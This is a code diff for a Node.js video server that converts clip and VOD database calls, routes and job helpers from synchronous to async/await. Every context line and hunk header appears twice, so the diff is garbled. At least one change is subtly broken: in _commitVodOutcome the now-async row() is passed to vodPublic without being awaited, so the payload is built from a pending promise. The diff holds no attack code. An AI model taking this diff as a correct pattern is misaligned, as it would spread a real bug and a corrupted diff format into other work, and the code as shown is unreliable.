- if (ids.length) db.run(`UPDATE clips SET status = 'failed', cut_error = COALESCE(cut_error, 'interrupted by a restart') WHERE id IN (${ids.map(() => '?').join(',')})`, ids);
+ await objects().withObject('clip', (ids) => ids, async () => {
+ const ids = (await db.all("SELECT id FROM clips WHERE status = 'processing'")).map(r => r.id);
+ if (ids.length) await db.run(`UPDATE clips SET status = 'failed', cut_error = COALESCE(cut_error, 'interrupted by a restart') WHERE id IN (${ids.map(() => '?').join(',')})`, ids);
return ids;
return ids;
});
});
} catch (err) { console.warn('[Clips] marking interrupted cuts failed:', err.message); }
} catch (err) { console.warn('[Clips] marking interrupted cuts failed:', err.message); }
@@ -147,15 +147,15 @@ function start() {
@@ -147,15 +147,15 @@ function start() {
// ── clip.cut as a media job ──────────────────────────────────
// ── clip.cut as a media job ──────────────────────────────────
/** The clip's media object (legacy:<app>:clip:<id>), the job's object. */
/** The clip's media object (legacy:<app>:clip:<id>), the job's object. */
-function clipObjectId(appId, clipId) {
- const row = db.get('SELECT id FROM media_objects WHERE legacy_ref = ?', [`legacy:${appId}:clip:${clipId}`]);
+async function clipObjectId(appId, clipId) {
+ const row = await db.get('SELECT id FROM media_objects WHERE legacy_ref = ?', [`legacy:${appId}:clip:${clipId}`]);
return row ? row.id : null;
return row ? row.id : null;
}
}
/** Queue the cut of a clip row → { job, created }. A repeated request for the same clip reuses its active job. */
/** Queue the cut of a clip row → { job, created }. A repeated request for the same clip reuses its active job. */
-function enqueueCut(appId, clipId, { reason = 'cut', createdBy = null, ownerUserId = null } = {}) {
+async function enqueueCut(appId, clipId, { reason = 'cut', createdBy = null, ownerUserId = null } = {}) {
const queue = require('../jobs/queue');
const queue = require('../jobs/queue');
- const out = queue.enqueue({ appId, type: 'clip.cut', objectId: clipObjectId(appId, clipId), params: { clip_id: Number(clipId), reason }, dedupeActive: true, createdBy, ownerUserId });
+ const out = await queue.enqueue({ appId, type: 'clip.cut', objectId: await clipObjectId(appId, clipId), params: { clip_id: Number(clipId), reason }, dedupeActive: true, createdBy, ownerUserId });
try { require('../jobs/worker').kick(); } catch { /* the poll picks it up */ }
try { require('../jobs/worker').kick(); } catch { /* the poll picks it up */ }
return out;
return out;
}
}
@@ -173,7 +173,7 @@ const spec = {
@@ -173,7 +173,7 @@ const spec = {
},
},
async run(job) {
async run(job) {
const { JobError } = require('../jobs/queue');
const { JobError } = require('../jobs/queue');
- const clip = db.getClipById(job.params.clip_id);
+ const clip = await db.getClipById(job.params.clip_id);
if (!clip || clip.app_id !== job.app_id) throw new JobError('not_found', 'The clip no longer exists', { permanent: true });
if (!clip || clip.app_id !== job.app_id) throw new JobError('not_found', 'The clip no longer exists', { permanent: true });
const r = await recutClip(clip.id, { reason: job.params.reason || 'cut', viaJob: true });
const r = await recutClip(clip.id, { reason: job.params.reason || 'cut', viaJob: true });
if (!r.ok) throw new JobError('clip_cut_failed', r.error || 'cut failed', { permanent: !!r.hopeless });
if (!r.ok) throw new JobError('clip_cut_failed', r.error || 'cut failed', { permanent: !!r.hopeless });
@@ -54,7 +54,7 @@ const clipUpload = multer({
@@ -54,7 +54,7 @@ const clipUpload = multer({
// { readiness: true } (API responses) adds the object's readiness levels (server/objects/readiness.js);
// { readiness: true } (API responses) adds the object's readiness levels (server/objects/readiness.js);
// the clip.ready / clip.failed payloads leave them out, as vodPublic's do.
// the clip.ready / clip.failed payloads leave them out, as vodPublic's do.
-function clipPublic(clip, { readiness = false } = {}) {
+async function clipPublic(clip, { readiness = false } = {}) {
if (!clip) return null;
if (!clip) return null;
const out = {
const out = {
unique_views: clip.unique_views || 0,
unique_views: clip.unique_views || 0,
@@ -90,7 +90,7 @@ function clipPublic(clip, { readiness = false } = {}) {
@@ -90,7 +90,7 @@ function clipPublic(clip, { readiness = false } = {}) {
view_count: clip.view_count || 0,
view_count: clip.view_count || 0,
created_at: clip.created_at,
created_at: clip.created_at,
};
};
- if (readiness) out.readiness = require('../objects/readiness').forRow(clip);
+ if (readiness) out.readiness = await require('../objects/readiness').forRow(clip);
return out;
return out;
}
}
@@ -105,10 +105,10 @@ function _isPrivate(row) {
@@ -105,10 +105,10 @@ function _isPrivate(row) {
return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';
return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';
}
}
-function _getClipScoped(req, res) {
+async function _getClipScoped(req, res) {
const id = parseInt(req.params.id, 10);
const id = parseInt(req.params.id, 10);
if (!Number.isFinite(id)) { res.status(404).json({ error: 'Clip not found' }); return null; }
if (!Number.isFinite(id)) { res.status(404).json({ error: 'Clip not found' }); return null; }
- const clip = db.getClipById(id, req.appId);
+ const clip = await db.getClipById(id, req.appId);
if (!clip) { res.status(404).json({ error: 'Clip not found' }); return null; }
if (!clip) { res.status(404).json({ error: 'Clip not found' }); return null; }
return clip;
return clip;
}
}
@@ -118,8 +118,8 @@ function _getClipScoped(req, res) {
@@ -118,8 +118,8 @@ function _getClipScoped(req, res) {
* of its users (X-OV-User-Id) writes only that user's own clips: someone else's private one answers
* of its users (X-OV-User-Id) writes only that user's own clips: someone else's private one answers
* exactly as a missing one would, anything else 403.
* exactly as a missing one would, anything else 403.
*/
*/
-function _getClipForWrite(req, res) {
- const clip = _getClipScoped(req, res);
+async function _getClipForWrite(req, res) {
+ const clip = await _getClipScoped(req, res);
if (!clip || req.authType !== 'user') return clip;
if (!clip || req.authType !== 'user') return clip;
if (clip.user_id != null && String(clip.user_id) === String(req.userId)) return clip;
if (clip.user_id != null && String(clip.user_id) === String(req.userId)) return clip;
if (_isPrivate(clip)) res.status(404).json({ error: 'Clip not found' });
if (_isPrivate(clip)) res.status(404).json({ error: 'Clip not found' });
@@ -138,10 +138,10 @@ const flag = (v) => (['1', 'true'].includes(String(v)) ? 1 : ['0', 'false'].incl
@@ -138,10 +138,10 @@ const flag = (v) => (['1', 'true'].includes(String(v)) ? 1 : ['0', 'false'].incl
router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), async (req, res) => {
router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), async (req, res) => {
try {
try {
const body = req.body || {};
const body = req.body || {};
- if (req.file) return _createUploadedClip(req, res);
+ if (req.file) return await _createUploadedClip(req, res);
const vodId = parseInt(body.vod_id, 10);
const vodId = parseInt(body.vod_id, 10);
if (!Number.isFinite(vodId)) return res.status(400).json({ error: 'vod_id is required' });
if (!Number.isFinite(vodId)) return res.status(400).json({ error: 'vod_id is required' });
- const vod = db.getVodById(vodId, req.appId);
+ const vod = await db.getVodById(vodId, req.appId);
if (!vod) return res.status(404).json({ error: 'VOD not found' });
if (!vod) return res.status(404).json({ error: 'VOD not found' });
// An acting user cannot cut someone else's private VOD, and is not told it exists.
// An acting user cannot cut someone else's private VOD, and is not told it exists.
if (req.authType === 'user' && _isPrivate(vod) && !(vod.user_id != null && String(vod.user_id) === String(req.userId))) {
if (req.authType === 'user' && _isPrivate(vod) && !(vod.user_id != null && String(vod.user_id) === String(req.userId))) {
@@ -156,12 +156,12 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
@@ -156,12 +156,12 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
if (startTime < 0 || endTime < 0) return res.status(400).json({ error: 'Time values cannot be negative' });
if (startTime < 0 || endTime < 0) return res.status(400).json({ error: 'Time values cannot be negative' });
let duration = endTime - startTime;
let duration = endTime - startTime;
- const maxClipDuration = db.getSetting('max_clip_duration') || 60;
+ const maxClipDuration = await db.getSetting('max_clip_duration') || 60;
if (duration < 1) return res.status(400).json({ error: 'Clip must be at least 1 second' });
if (duration < 1) return res.status(400).json({ error: 'Clip must be at least 1 second' });
if (duration > maxClipDuration) return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });
if (duration > maxClipDuration) return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });
// Duplicate detection — reuse a just-made clip for the same window.
// Duplicate detection — reuse a just-made clip for the same window.
- const duplicate = db.findDuplicateClip({
+ const duplicate = await db.findDuplicateClip({
appId: req.appId, vodId, streamId: vod.stream_id || null,
appId: req.appId, vodId, streamId: vod.stream_id || null,
startTime, endTime,
startTime, endTime,
});
});
@@ -201,7 +201,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
@@ -201,7 +201,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
// one of its users is a person's clip whatever it claims. The flag and the description used
// one of its users is a person's clip whatever it claims. The flag and the description used
// to be dropped here, so every auto-clip was stored as if a person had made it.
// to be dropped here, so every auto-clip was stored as if a person had made it.
const byApp = req.authType === 'app';
const byApp = req.authType === 'app';
- const result = db.createClip({
+ const result = await db.createClip({
app_id: req.appId,
app_id: req.appId,
vod_id: vodId,
vod_id: vodId,
stream_id: vod.stream_id || (body.stream_id != null ? parseInt(body.stream_id, 10) || null : null),
stream_id: vod.stream_id || (body.stream_id != null ? parseInt(body.stream_id, 10) || null : null),
@@ -224,7 +224,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
@@ -224,7 +224,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as
// The cut is a media job (clip.cut, WS-G task 3): media.job.* events, retries with backoff, and a
// The cut is a media job (clip.cut, WS-G task 3): media.job.* events, retries with backoff, and a
// job id the caller's UI follows (GET /api/v2/:app/jobs/:id) and reattaches to after a reload.
// job id the caller's UI follows (GET /api/v2/:app/jobs/:id) and reattaches to after a reload.
// clip.ready / clip.failed and the webhook come from the cut itself, as before.
// clip.ready / clip.failed and the webhook come from the cut itself, as before.
- const { job } = require('./clip-jobs').enqueueCut(appId, clipId, {
+ const { job } = await require('./clip-jobs').enqueueCut(appId, clipId, {
reason: 'cut', createdBy: req.authType === 'user' ? `app:${appId}:user:${req.userId}` : `app:${appId}`, ownerUserId: userId ?? null,
reason: 'cut', createdBy: req.authType === 'user' ? `app:${appId}:user:${req.userId}` : `app:${appId}`, ownerUserId: userId ?? null,
});
});
@@ -253,7 +253,7 @@ async function _createUploadedClip(req, res) {
@@ -253,7 +253,7 @@ async function _createUploadedClip(req, res) {
tools.cleanupTempFile(clipPath);
tools.cleanupTempFile(clipPath);
return res.status(422).json({ error: 'Clip upload was corrupt or empty. Please try again.' });
return res.status(422).json({ error: 'Clip upload was corrupt or empty. Please try again.' });
}
}
- const maxClipDuration = db.getSetting('max_clip_duration') || 60;
+ const maxClipDuration = await db.getSetting('max_clip_duration') || 60;
if (duration > maxClipDuration + 5) {
if (duration > maxClipDuration + 5) {
tools.cleanupTempFile(clipPath);
tools.cleanupTempFile(clipPath);
return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });
return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });
@@ -263,7 +263,7 @@ async function _createUploadedClip(req, res) {
@@ -263,7 +263,7 @@ async function _createUploadedClip(req, res) {
const endTime = Number.parseFloat(body.end_s ?? body.end_time);
const endTime = Number.parseFloat(body.end_s ?? body.end_time);
const visibility = VALID_VIS.has(body.visibility) ? body.visibility : 'public';
const visibility = VALID_VIS.has(body.visibility) ? body.visibility : 'public';
const vodId = body.vod_id != null ? parseInt(body.vod_id, 10) || null : null;
const vodId = body.vod_id != null ? parseInt(body.vod_id, 10) || null : null;
- const result = db.createClip({
+ const result = await db.createClip({
app_id: req.appId,
app_id: req.appId,
vod_id: vodId,
vod_id: vodId,
stream_id: body.stream_id != null ? parseInt(body.stream_id, 10) || null : null,
stream_id: body.stream_id != null ? parseInt(body.stream_id, 10) || null : null,
@@ -284,7 +284,7 @@ async function _createUploadedClip(req, res) {
@@ -284,7 +284,7 @@ async function _createUploadedClip(req, res) {
.catch(err => console.warn(`[Clips] Thumbnail failed for clip ${clipId}:`, err.message));
.catch(err => console.warn(`[Clips] Thumbnail failed for clip ${clipId}:`, err.message));
console.log(`[Clips] Direct upload: clip ${clipId} (${req.appId}, ${duration.toFixed ? duration.toFixed(1) : duration}s)`);
console.log(`[Clips] Direct upload: clip ${clipId} (${req.appId}, ${duration.toFixed ? duration.toFixed(1) : duration}s)`);
- res.status(201).json({ ...clipPublic(db.getClipById(clipId, req.appId), { readiness: true }) });
+ res.status(201).json({ ...await clipPublic(await db.getClipById(clipId, req.appId), { readiness: true }) });
} catch (err) {
} catch (err) {
console.error('[Clips] Upload error:', err.message);
console.error('[Clips] Upload error:', err.message);
tools.cleanupTempFile(clipPath);
tools.cleanupTempFile(clipPath);
@@ -299,7 +299,7 @@ async function _createUploadedClip(req, res) {
@@ -299,7 +299,7 @@ async function _createUploadedClip(req, res) {
// auto_generated=1|0 clips the app's automation cut (1) or a person made (0)
// auto_generated=1|0 clips the app's automation cut (1) or a person made (0)
// status=ready playable clips only (no processing / failed rows)
// status=ready playable clips only (no processing / failed rows)
// since=<datetime> created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC)
// since=<datetime> created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC)
-router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);
const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
@@ -318,9 +318,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -318,9 +318,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
ready_only: String(req.query.status || '') === 'ready',
ready_only: String(req.query.status || '') === 'ready',
since: req.query.since || null,
since: req.query.since || null,
};
};
- const clips = db.listClips(req.appId, filters);
- const total = db.countClips(req.appId, filters);
- res.json({ clips: clips.map(c => clipPublic(c, { readiness: true })), total, limit, offset, hasMore: offset + clips.length < total });
+ const clips = await db.listClips(req.appId, filters);
+ const total = await db.countClips(req.appId, filters);
+ res.json({ clips: (await Promise.all(clips.map(async c => await clipPublic(c, { readiness: true })))), total, limit, offset, hasMore: offset + clips.length < total });
} catch (err) {
} catch (err) {
console.error('[Clips] List error:', err.message);
console.error('[Clips] List error:', err.message);
res.status(500).json({ error: 'Failed to list clips' });
res.status(500).json({ error: 'Failed to list clips' });
@@ -329,17 +329,17 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
@@ -329,17 +329,17 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
// ── Get clip ─────────────────────────────────────────────────
// ── Get clip ─────────────────────────────────────────────────
// A short-lived URL of a clip's bytes for a reader with no key (OpenVibe.AI transcribing it); the owning app only.
// A short-lived URL of a clip's bytes for a reader with no key (OpenVibe.AI transcribing it); the owning app only.
-router.get('/:id/signed-url', tenantAuth(), (req, res) => {
+router.get('/:id/signed-url', tenantAuth(), async (req, res) => {
if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });
if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });
- const clip = _getClipScoped(req, res);
+ const clip = await _getClipScoped(req, res);
if (!clip) return;
if (!clip) return;
res.set('Cache-Control', 'private, no-store');
res.set('Cache-Control', 'private, no-store');
res.json(require('../objects/signing').signedMediaUrl('clip', clip.id, req.query.ttl));
res.json(require('../objects/signing').signedMediaUrl('clip', clip.id, req.query.ttl));
});
});
-router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {
try {
try {
- const clip = _getClipScoped(req, res);
+ const clip = await _getClipScoped(req, res);
if (!clip) return;
if (!clip) return;
// Acting for one of the app's users: another user's private clip looks missing (see GET /vods/:id).
// Acting for one of the app's users: another user's private clip looks missing (see GET /vods/:id).
if (req.authType === 'user' && _isPrivate(clip) && !(clip.user_id != null && String(clip.user_id) === String(req.userId))) {
if (req.authType === 'user' && _isPrivate(clip) && !(clip.user_id != null && String(clip.user_id) === String(req.userId))) {
@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {
@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {
}
}
// Bare object, mirroring GET /vods/:id per CONTRACTS.md.
// Bare object, mirroring GET /vods/:id per CONTRACTS.md.
// Detail responses carry the transcript too (lists stay light).
// Detail responses carry the transcript too (lists stay light).
- res.json({ ...clipPublic(clip, { readiness: true }), ai_transcript: clip.ai_transcript || null });
+ res.json({ ...await clipPublic(clip, { readiness: true }), ai_transcript: clip.ai_transcript || null });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to get clip' });
res.status(500).json({ error: 'Failed to get clip' });
}
}
@@ -362,14 +362,14 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {
@@ -362,14 +362,14 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {
*/
*/
router.post('/:id/recut', tenantAuth(), async (req, res) => {
router.post('/:id/recut', tenantAuth(), async (req, res) => {
try {
try {
- const clip = _getClipForWrite(req, res);
+ const clip = await _getClipForWrite(req, res);
if (!clip) return;
if (!clip) return;
const clipId = clip.id;
const clipId = clip.id;
if (clip.status === 'processing') return res.status(409).json({ error: 'Clip is already being cut' });
if (clip.status === 'processing') return res.status(409).json({ error: 'Clip is already being cut' });
if (!clip.vod_id) return res.status(422).json({ error: 'Clip has no source VOD to re-cut from' });
if (!clip.vod_id) return res.status(422).json({ error: 'Clip has no source VOD to re-cut from' });
// A manual retry resets the attempt counter so it gets the full ladder again (not projected: no object change).
// A manual retry resets the attempt counter so it gets the full ladder again (not projected: no object change).
- db.run("UPDATE clips SET cut_attempts = 0 WHERE id = ?", [clipId]);
- const { job } = require('./clip-jobs').enqueueCut(req.appId, clipId, { reason: 're-cut', createdBy: `app:${req.appId}` });
+ await db.run("UPDATE clips SET cut_attempts = 0 WHERE id = ?", [clipId]);
+ const { job } = await require('./clip-jobs').enqueueCut(req.appId, clipId, { reason: 're-cut', createdBy: `app:${req.appId}` });
res.status(202).json({ id: clipId, status: 'processing', job_id: job.id });
res.status(202).json({ id: clipId, status: 'processing', job_id: job.id });
} catch (err) {
} catch (err) {
console.error('[Clips] Re-cut error:', err.message);
console.error('[Clips] Re-cut error:', err.message);
@@ -377,34 +377,34 @@ router.post('/:id/recut', tenantAuth(), async (req, res) => {
@@ -377,34 +377,34 @@ router.post('/:id/recut', tenantAuth(), async (req, res) => {
}
}
});
});
-router.put('/:id', tenantAuth(), (req, res) => {
+router.put('/:id', tenantAuth(), async (req, res) => {
try {
try {
- const clip = _getClipForWrite(req, res);
+ const clip = await _getClipForWrite(req, res);
if (!clip) return;
if (!clip) return;
const { title, visibility, auto_generated: autoGen } = req.body || {};
const { title, visibility, auto_generated: autoGen } = req.body || {};
if (title !== undefined) {
if (title !== undefined) {
const t = sanitizeClipTitle(title, '');
const t = sanitizeClipTitle(title, '');
if (!t) return res.status(400).json({ error: 'Title must be 1-200 characters' });
if (!t) return res.status(400).json({ error: 'Title must be 1-200 characters' });
- objects.withObject('clip', clip.id, () => db.run('UPDATE clips SET title = ? WHERE id = ?', [t, clip.id]));
+ await objects.withObject('clip', clip.id, async () => await db.run('UPDATE clips SET title = ? WHERE id = ?', [t, clip.id]));
}
}
// Only the app itself (its automation's own records) may say a clip was machine-made.
// Only the app itself (its automation's own records) may say a clip was machine-made.
if (autoGen !== undefined && flag(autoGen) !== null) {
if (autoGen !== undefined && flag(autoGen) !== null) {
if (req.authType !== 'app') return res.status(403).json({ error: 'auto_generated is set by the app only' });
if (req.authType !== 'app') return res.status(403).json({ error: 'auto_generated is set by the app only' });
- objects.withObject('clip', clip.id, () => db.run('UPDATE clips SET auto_generated = ? WHERE id = ?', [flag(autoGen), clip.id]));
+ await objects.withObject('clip', clip.id, async () => await db.run('UPDATE clips SET auto_generated = ? WHERE id = ?', [flag(autoGen), clip.id]));
}
}
- if (visibility !== undefined) db.setClipVisibility(clip.id, visibility);
- res.json({ clip: clipPublic(db.getClipById(clip.id, req.appId), { readiness: true }) });
+ if (visibility !== undefined) await db.setClipVisibility(clip.id, visibility);
+ res.json({ clip: await clipPublic(await db.getClipById(clip.id, req.appId), { readiness: true }) });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to update clip' });
res.status(500).json({ error: 'Failed to update clip' });
}
}
});
});
// ── Delete ───────────────────────────────────────────────────
// ── Delete ───────────────────────────────────────────────────
-router.delete('/:id', tenantAuth(), (req, res) => {
+router.delete('/:id', tenantAuth(), async (req, res) => {
try {
try {
- const clip = _getClipForWrite(req, res);
+ const clip = await _getClipForWrite(req, res);
if (!clip) return;
if (!clip) return;
- if (objects.isHeldRow(clip)) return res.status(409).json({ error: 'Clip is under a retention hold', code: 'media.object.held' });
+ if (await objects.isHeldRow(clip)) return res.status(409).json({ error: 'Clip is under a retention hold', code: 'media.object.held' });
// Delete the local file + any offloaded B2/R2 object (clips carry
// Delete the local file + any offloaded B2/R2 object (clips carry
// storage_provider/storage_key like VODs).
// storage_provider/storage_key like VODs).
@@ -416,7 +416,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {
@@ -416,7 +416,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {
console.warn(`[Clips] Remote object cleanup failed for clip ${clip.id}:`, err.message));
console.warn(`[Clips] Remote object cleanup failed for clip ${clip.id}:`, err.message));
}
}
- db.run('DELETE FROM clips WHERE id = ?', [clip.id]); // its object is marked deleted by the row-delete trigger, same statement
+ await db.run('DELETE FROM clips WHERE id = ?', [clip.id]); // its object is marked deleted by the row-delete trigger, same statement
res.json({ message: 'Clip deleted' });
res.json({ message: 'Clip deleted' });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to delete clip' });
res.status(500).json({ error: 'Failed to delete clip' });
@@ -119,22 +119,22 @@ function writeReport(report, file = null) {
@@ -119,22 +119,22 @@ function writeReport(report, file = null) {
}
}
/** Write one repair (only if the row still has the value we read). Returns true when it changed. */
/** Write one repair (only if the row still has the value we read). Returns true when it changed. */
-function applyRepair(row) {
+async function applyRepair(row) {
// The row and its object in one transaction (the object only when the row changed).
// The row and its object in one transaction (the object only when the row changed).
- return db.withObject('vod', (r) => (r.changes > 0 ? row.vod_id : null), () => db.run(`UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ?
+ return (await db.withObject('vod', (r) => (r.changes > 0 ? row.vod_id : null), async () => await db.run(`UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ?
WHERE id = ? AND COALESCE(duration_seconds, 0) = ? AND COALESCE(duration_source, '') = ? AND COALESCE(is_recording, 0) = 0`,
WHERE id = ? AND COALESCE(duration_seconds, 0) = ? AND COALESCE(duration_source, '') = ? AND COALESCE(is_recording, 0) = 0`,
- [Math.round(row.measured), row.measured, row.measured_source, row.vod_id, row.stored, row.stored_source || ''])).changes > 0;
+ [Math.round(row.measured), row.measured, row.measured_source, row.vod_id, row.stored, row.stored_source || '']))).changes > 0;
}
}
/** Undo repairs listed in a report (only rows that still hold what the repair wrote). */
/** Undo repairs listed in a report (only rows that still hold what the repair wrote). */
-function rollback(rows, { apply = false } = {}) {
+async function rollback(rows, { apply = false } = {}) {
const out = { restored: 0, would_restore: 0, changed_since: 0 };
const out = { restored: 0, would_restore: 0, changed_since: 0 };
for (const r of rows || []) {
for (const r of rows || []) {
if (r.action !== 'repaired') continue;
if (r.action !== 'repaired') continue;
- const cur = db.get('SELECT duration_seconds, duration_source FROM vods WHERE id = ?', [r.vod_id]);
+ const cur = await db.get('SELECT duration_seconds, duration_source FROM vods WHERE id = ?', [r.vod_id]);
if (!cur || Number(cur.duration_seconds) !== Math.round(r.measured) || (cur.duration_source || '') !== (r.measured_source || '')) { out.changed_since++; continue; }
if (!cur || Number(cur.duration_seconds) !== Math.round(r.measured) || (cur.duration_source || '') !== (r.measured_source || '')) { out.changed_since++; continue; }
if (!apply) { out.would_restore++; continue; }
if (!apply) { out.would_restore++; continue; }
- db.withObject('vod', r.vod_id, () => db.run('UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ? WHERE id = ?',
+ await db.withObject('vod', r.vod_id, async () => await db.run('UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ? WHERE id = ?',
[r.stored, r.stored_probe ?? r.stored, r.stored_source || null, r.vod_id]));
[r.stored, r.stored_probe ?? r.stored, r.stored_source || null, r.vod_id]));
out.restored++;
out.restored++;
}
}
@@ -152,7 +152,7 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nul
@@ -152,7 +152,7 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nul
const params = [];
const params = [];
if (appId) { conds.push('app_id = ?'); params.push(appId); }
if (appId) { conds.push('app_id = ?'); params.push(appId); }
if (ids && ids.length) { conds.push(`id IN (${ids.map(() => '?').join(', ')})`); params.push(...ids.map(Number)); } else { conds.push('id > ?'); params.push(Number(afterId) || 0); }
if (ids && ids.length) { conds.push(`id IN (${ids.map(() => '?').join(', ')})`); params.push(...ids.map(Number)); } else { conds.push('id > ?'); params.push(Number(afterId) || 0); }
- const vods = db.all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY id LIMIT ?`, [...params, n]);
+ const vods = await db.all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY id LIMIT ?`, [...params, n]);
const report = {
const report = {
kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: apply ? 'apply' : 'dry-run',
kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: apply ? 'apply' : 'dry-run',
app_id: appId, thresholds: THRESHOLDS, confirm_remote: !!confirmRemote,
app_id: appId, thresholds: THRESHOLDS, confirm_remote: !!confirmRemote,
@@ -185,13 +185,13 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nul
@@ -185,13 +185,13 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nul
if (verdict === 'wrong' || verdict === 'missing') {
if (verdict === 'wrong' || verdict === 'missing') {
if (!m.confirmed) { row.action = 'unconfirmed'; report.counts.unconfirmed++; }
if (!m.confirmed) { row.action = 'unconfirmed'; report.counts.unconfirmed++; }
else if (!apply) { row.action = 'would_repair'; report.counts.would_repair++; }
else if (!apply) { row.action = 'would_repair'; report.counts.would_repair++; }
- else if (applyRepair(row)) { row.action = 'repaired'; report.counts.repaired++; }
+ else if (await applyRepair(row)) { row.action = 'repaired'; report.counts.repaired++; }
else { row.action = 'changed_since'; report.counts.changed_since++; }
else { row.action = 'changed_since'; report.counts.changed_since++; }
}
}
}
}
report.counts[row.verdict]++;
report.counts[row.verdict]++;
report.rows.push(row);
report.rows.push(row);
- if (onRow) onRow(row);
+ if (onRow) await onRow(row);
}
}
return report;
return report;
}
}
@@ -38,7 +38,7 @@ function isFinalizing(vodId) {
@@ -38,7 +38,7 @@ function isFinalizing(vodId) {
// Public shape of a vod row for API responses + webhooks. { readiness: true } (API responses) adds the
// Public shape of a vod row for API responses + webhooks. { readiness: true } (API responses) adds the
// object's readiness levels (server/objects/readiness.js); webhook payloads leave them out (their shape
// object's readiness levels (server/objects/readiness.js); webhook payloads leave them out (their shape
// predates the object model and stays as it is).
// predates the object model and stays as it is).
-function vodPublic(vod, { readiness = false } = {}) {
+async function vodPublic(vod, { readiness = false } = {}) {
if (!vod) return null;
if (!vod) return null;
const out = {
const out = {
unique_views: vod.unique_views || 0,
unique_views: vod.unique_views || 0,
@@ -78,7 +78,7 @@ function vodPublic(vod, { readiness = false } = {}) {
@@ -78,7 +78,7 @@ function vodPublic(vod, { readiness = false } = {}) {
created_at: vod.created_at,
created_at: vod.created_at,
meta: (() => { try { return JSON.parse(vod.meta_json || '{}'); } catch { return {}; } })(),
meta: (() => { try { return JSON.parse(vod.meta_json || '{}'); } catch { return {}; } })(),
};
};
- if (readiness) out.readiness = require('../objects/readiness').forRow(vod);
+ if (readiness) out.readiness = await require('../objects/readiness').forRow(vod);
return out;
return out;
}
}
@@ -116,9 +116,9 @@ function rebuildWebmFromMaster(masterPath, webmPath) {
@@ -116,9 +116,9 @@ function rebuildWebmFromMaster(masterPath, webmPath) {
* inside the transaction). Returns the payload, or null when the transaction failed (then nothing
* inside the transaction). Returns the payload, or null when the transaction failed (then nothing
* changed and nothing was announced). A deleted row's object is marked deleted by its trigger.
* changed and nothing was announced). A deleted row's object is marked deleted by its trigger.
*/
*/
-function _commitVodOutcome(vod, event, change, row = () => db.getVodById(vod.id)) {
+async function _commitVodOutcome(vod, event, change, row = async () => await db.getVodById(vod.id)) {
try {
try {
- return announce(vod.app_id, event, { change: () => objects().withObject('vod', vod.id, change), payload: () => vodPublic(row()) }).data;
+ return (await announce(vod.app_id, event, { change: async () => await objects().withObject('vod', vod.id, change), payload: async () => await vodPublic(row()) })).data;
} catch (err) {
} catch (err) {
console.error(`[VOD] vod ${vod.id}: ${event} not committed:`, err.message);
console.error(`[VOD] vod ${vod.id}: ${event} not committed:`, err.message);
return null;
return null;
@@ -154,7 +154,7 @@ async function finalizeVod(vodId, opts = {}) {
@@ -154,7 +154,7 @@ async function finalizeVod(vodId, opts = {}) {
return await _doFinalize(vodId, opts);
return await _doFinalize(vodId, opts);
} catch (err) {
} catch (err) {
// A finalize that throws leaves the recording unsettled: the vod.finalize job tries again.
// A finalize that throws leaves the recording unsettled: the vod.finalize job tries again.
- _queueRetry(vodId, 'finalize_failed', opts);
+ await _queueRetry(vodId, 'finalize_failed', opts);
throw err;
throw err;
} finally {
} finally {
_finalizing.delete(vodId);
_finalizing.delete(vodId);
